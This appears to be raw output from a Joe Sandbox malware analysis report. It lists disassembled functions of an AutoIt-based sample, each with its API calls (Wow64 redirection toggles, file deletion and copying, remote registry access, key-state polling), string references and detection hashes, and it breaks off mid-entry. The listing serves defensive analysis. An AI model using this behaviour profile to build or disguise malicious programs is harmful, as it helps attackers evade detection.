Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 2856b21e2b850bce291ea94f95510b88a47f0b8abdada190a61af1a352be1818
Instruction ID: 700c6373995f7a604c8979fbfa59a1e4cacb082810117871b227d161095b8f7f
Opcode Fuzzy Hash: 2856b21e2b850bce291ea94f95510b88a47f0b8abdada190a61af1a352be1818
Instruction Fuzzy Hash: 67218872204209ABEB205F64AC84EBB37B9FB5A366F100228FD50E6190DF71DC959B60

Function 007E4D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,007E4D1E,007F28E9,?,007E4CBE,007F28E9,008888B8,0000000C,007E4E15,007F28E9,00000002), ref: 007E4D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 007E4DA0
FreeLibrary.KERNEL32(00000000,?,?,?,007E4D1E,007F28E9,?,007E4CBE,007F28E9,008888B8,0000000C,007E4E15,007F28E9,00000002,00000000), ref: 007E4DC3

Strings

mscoree.dll, xrefs: 007E4D86
CorExitProcess, xrefs: 007E4D98

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 94f42eb307fa197bc71cf7ee6ab79edaf17b53c291ff795cfa76e45032451cbb
Instruction ID: 5eab3dc45105511779dacae85799ceeb41043b155020d08b0f980085e18e742c
Opcode Fuzzy Hash: 94f42eb307fa197bc71cf7ee6ab79edaf17b53c291ff795cfa76e45032451cbb
Instruction Fuzzy Hash: DFF03C34A41308BFDB119F95DC49BAEBBA5FB48752F0000A4A905A6260CB795940CF94

Function 0081D3A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0081D3AD
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0081D3BF
FreeLibrary.KERNEL32(00000000), ref: 0081D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 0081D3B9
X64, xrefs: 0081D2A8

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: 9aefed68fdd35fddbd1797ec64177a1b07e4ca42d7a95861b4a249b8996514bc
Instruction ID: 9e03b24b36164ccf41b693dab37765c7b542682c2c99731ac73739f200054e59
Opcode Fuzzy Hash: 9aefed68fdd35fddbd1797ec64177a1b07e4ca42d7a95861b4a249b8996514bc
Instruction Fuzzy Hash: F4F020B0845B218FCB7527208C88BEA332CFF11706B548056F822E2204EB78CCC48A92

Function 007C4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,007C4EDD,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 007C4EAE
FreeLibrary.KERNEL32(00000000,?,?,007C4EDD,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 007C4EA8
kernel32.dll, xrefs: 007C4E94

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 3a6901525f8551db5cc390adf1132ba30655313dc4f3bfdf41d1b953679c8bd1
Instruction ID: 0180438e53a295bcdb23e3c864451ac7b716d31d007c89b866b38b44a819bd33
Opcode Fuzzy Hash: 3a6901525f8551db5cc390adf1132ba30655313dc4f3bfdf41d1b953679c8bd1
Instruction Fuzzy Hash: 82E08C36A42B226F92322B25AC28F6B7758BF81F63B06011DFC00E2200DB6CCD0189A1

Function 007C4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00803CDE,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 007C4E74
FreeLibrary.KERNEL32(00000000,?,?,00803CDE,?,00891418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 007C4E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 007C4E6E
kernel32.dll, xrefs: 007C4E5B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: c5d2c762857d98098f18a95410e15c92e0279e9ed8e5b8a82b2b5beb340c2c58
Instruction ID: 6a58f582c8fbbc271a76b764b192986f5cc580a8ab61cd195e27b5bda36fdff3
Opcode Fuzzy Hash: c5d2c762857d98098f18a95410e15c92e0279e9ed8e5b8a82b2b5beb340c2c58
Instruction Fuzzy Hash: 6DD01235542B615B56221B297C28E8B7B19FF85F62306051DBD05E2215CF6CCD01CAD0

Function 00832947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00832C05
DeleteFileW.KERNEL32(?), ref: 00832C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00832C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00832CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00832CC0

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 9107752ce6c23656cfbf89a634db0a2b7d49d3c190ebdafe1b90296869dc5078
Instruction ID: 65a3f2db11f3e1cf95b1509a1e62df2288aa4bd2011effa981b589d52585c8cf
Opcode Fuzzy Hash: 9107752ce6c23656cfbf89a634db0a2b7d49d3c190ebdafe1b90296869dc5078
Instruction Fuzzy Hash: 8CB13071901119EBDF21EBA4CC89EDEB77DFF48350F1040AAF509E6151EA35AA448FA1

Function 0084A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0084A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0084A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0084A468
CloseHandle.KERNEL32(?), ref: 0084A63D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: e6f0f1bbaa08938fd2f1f43d5b3b556a3028376f1f02b3ed4d82690691624e83
Instruction ID: a165496444ab38ac5aadd734e97772b8cb717549b1b0d72639ff175e330b9823
Opcode Fuzzy Hash: e6f0f1bbaa08938fd2f1f43d5b3b556a3028376f1f02b3ed4d82690691624e83
Instruction Fuzzy Hash: A5A18C71644300AFD724DF24D886F2AB7E5EB88714F14885DF59ADB392DBB4EC418B82

Function 007FBB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00863700), ref: 007FBB91
WideCharToMultiByte.KERNEL32(00000000,00000000,0089121C,000000FF,00000000,0000003F,00000000,?,?), ref: 007FBC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00891270,000000FF,?,0000003F,00000000,?), ref: 007FBC36
_free.LIBCMT ref: 007FBB7F

Part of subcall function 007F29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000), ref: 007F29DE
Part of subcall function 007F29C8: GetLastError.KERNEL32(00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000,00000000), ref: 007F29F0

_free.LIBCMT ref: 007FBD4B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 5bad8f0a52cbf4c4c78ecb6a807fde021fc1f3abc69d4237cba5fbfd1348ae92
Instruction ID: 806d0be767eae83d2427b2f94dc5722631d5f1bc667d5c6a364846eda804a2b5
Opcode Fuzzy Hash: 5bad8f0a52cbf4c4c78ecb6a807fde021fc1f3abc69d4237cba5fbfd1348ae92
Instruction Fuzzy Hash: 7E51A47190420DEFCB10EFA9DC859BAB7B8FF44350B14426AE664D7391EB749D41CB60

Function 0082E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0082DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0082CF22,?), ref: 0082DDFD

Part of subcall function 0082DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0082CF22,?), ref: 0082DE16

Part of subcall function 0082E199: GetFileAttributesW.KERNEL32(?,0082CF95), ref: 0082E19A

lstrcmpiW.KERNEL32(?,?), ref: 0082E473
MoveFileW.KERNEL32(?,?), ref: 0082E4AC
_wcslen.LIBCMT ref: 0082E5EB
_wcslen.LIBCMT ref: 0082E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0082E650

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: d54dd183a97b3656b170c3ee45de45c815997cf8226ec77215b4f181a5de4462
Instruction ID: 4f4fbf2e2602a0c7717cef155ad2ba019bfd4525c5b30858794b72332d4d42f6
Opcode Fuzzy Hash: d54dd183a97b3656b170c3ee45de45c815997cf8226ec77215b4f181a5de4462
Instruction Fuzzy Hash: 185163B24087959BC724EB94DC859DFB3DCEF84340F40492EF689D3151EF74A588876A

Function 0084B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 0084C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0084B6AE,?,?), ref: 0084C9B5
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084C9F1
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084CA68
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0084BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0084BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0084BB63
RegCloseKey.ADVAPI32(?,?), ref: 0084BBA6
RegCloseKey.ADVAPI32(00000000), ref: 0084BBB3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 6376b65f580723461e721cb34ba60c0bea5fba50d48516a23111035333cb7cae
Instruction ID: 6698f8772486a672c83b1ebd6f79e21d69370b4746a05896393e3d2245df9f7b
Opcode Fuzzy Hash: 6376b65f580723461e721cb34ba60c0bea5fba50d48516a23111035333cb7cae
Instruction Fuzzy Hash: E061AE31208245EFD714DF24C895E2ABBE5FF84318F14895CF4998B2A2DB35ED45CB92

Function 00828BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00828BCD
VariantClear.OLEAUT32 ref: 00828C3E
VariantClear.OLEAUT32 ref: 00828C9D
VariantClear.OLEAUT32(?), ref: 00828D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00828D3B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: c22fff47b16a4003b207e863d9d578ed6f009878c319bdf0ffbf20b2f16a5957
Instruction ID: 1aa78ab92a93ed75bb40975a9d72e5bff6dbe6e35c0b4762806b6d2fc4c9bedd
Opcode Fuzzy Hash: c22fff47b16a4003b207e863d9d578ed6f009878c319bdf0ffbf20b2f16a5957
Instruction Fuzzy Hash: E65188B5A01219EFDB10CF68D884EAAB7F8FF89314B118559E909DB350E734E951CFA0

Function 00838AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00838BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00838BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00838C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00838C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00838C5F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 04368e684466871ffcfaf6beeb8783498965d475a3d026e391ebd210487c65ab
Instruction ID: 568ba8311af31cc400d7af912b04a6b00a9afbed80b3b0e41bdf1ecb21702514
Opcode Fuzzy Hash: 04368e684466871ffcfaf6beeb8783498965d475a3d026e391ebd210487c65ab
Instruction Fuzzy Hash: E7510535A00215DFCB05DF64C885E69BBF5FF48314F088459E849AB362DB39ED51DB90

Function 00848EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00848F40
GetProcAddress.KERNEL32(00000000,?), ref: 00848FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00848FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00849032
FreeLibrary.KERNEL32(00000000), ref: 00849052

Part of subcall function 007DF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00831043,?,7644E610), ref: 007DF6E6
Part of subcall function 007DF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0081FA64,00000000,00000000,?,?,00831043,?,7644E610,?,0081FA64), ref: 007DF70D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: eb279ca31c8d671271ab012eb6556ce324ca57ec3db90dd5b63197321a70cd40
Instruction ID: 5becd9a1cbb0874eaddc89060dc2ca36eb3b778e715a3416e103641f3666c16f
Opcode Fuzzy Hash: eb279ca31c8d671271ab012eb6556ce324ca57ec3db90dd5b63197321a70cd40
Instruction Fuzzy Hash: CE511735600609DFC715DF68C498DADBBF1FF49314B0580A9E84A9B362DB35ED85CB90

Function 00856B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00856C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00856C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00856C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0083AB79,00000000,00000000), ref: 00856C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00856CC7

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 4b1fb35c5d4a7a0664b4f44005029fd13b97b7dc0af1cccb396fcf2bb0d0b559
Instruction ID: 2e83d2902cb20d625800660c7c5de9edcdd7cac45d5de2425569602ea22b26aa
Opcode Fuzzy Hash: 4b1fb35c5d4a7a0664b4f44005029fd13b97b7dc0af1cccb396fcf2bb0d0b559
Instruction Fuzzy Hash: 5041D635A04204AFDB24DF28CC59FA97FA5FB09365F940228FC95E72E0E371AD65CA40

Function 007F2051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007F20C3
_free.LIBCMT ref: 007F20E3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 3a4c1a8cd245ecc0b26260792068cada884d0b955ccc05ec1e1a8ddcc093ca5e
Instruction ID: d8ae56b6296fb84adb53279e384412e128ebe68d5254ccae692a6ad53e03112e
Opcode Fuzzy Hash: 3a4c1a8cd245ecc0b26260792068cada884d0b955ccc05ec1e1a8ddcc093ca5e
Instruction Fuzzy Hash: 0041F232A00208DFCB20DF78C884A6DB7F5EF89314F1545A9E615EB392DB35AD02CB90

Function 007D912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 007D9141
ScreenToClient.USER32(00000000,?), ref: 007D915E
GetAsyncKeyState.USER32(00000001), ref: 007D9183
GetAsyncKeyState.USER32(00000002), ref: 007D919D

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 6a19b51430905938e80140157afd70bb052bc24f7a598f388f5eb5b0e482e03a
Instruction ID: 5adba376d4f3edb220890b28aa70aa4e889677c6fd7aa92f28901422ea0a5364
Opcode Fuzzy Hash: 6a19b51430905938e80140157afd70bb052bc24f7a598f388f5eb5b0e482e03a
Instruction Fuzzy Hash: 5641607190860AFBDF199F68C848BEEB775FF05324F20421AE525A3290D7356D94CF51

Function 00833874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 008338CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00833922
TranslateMessage.USER32(?), ref: 0083394B
DispatchMessageW.USER32(?), ref: 00833955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00833966

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

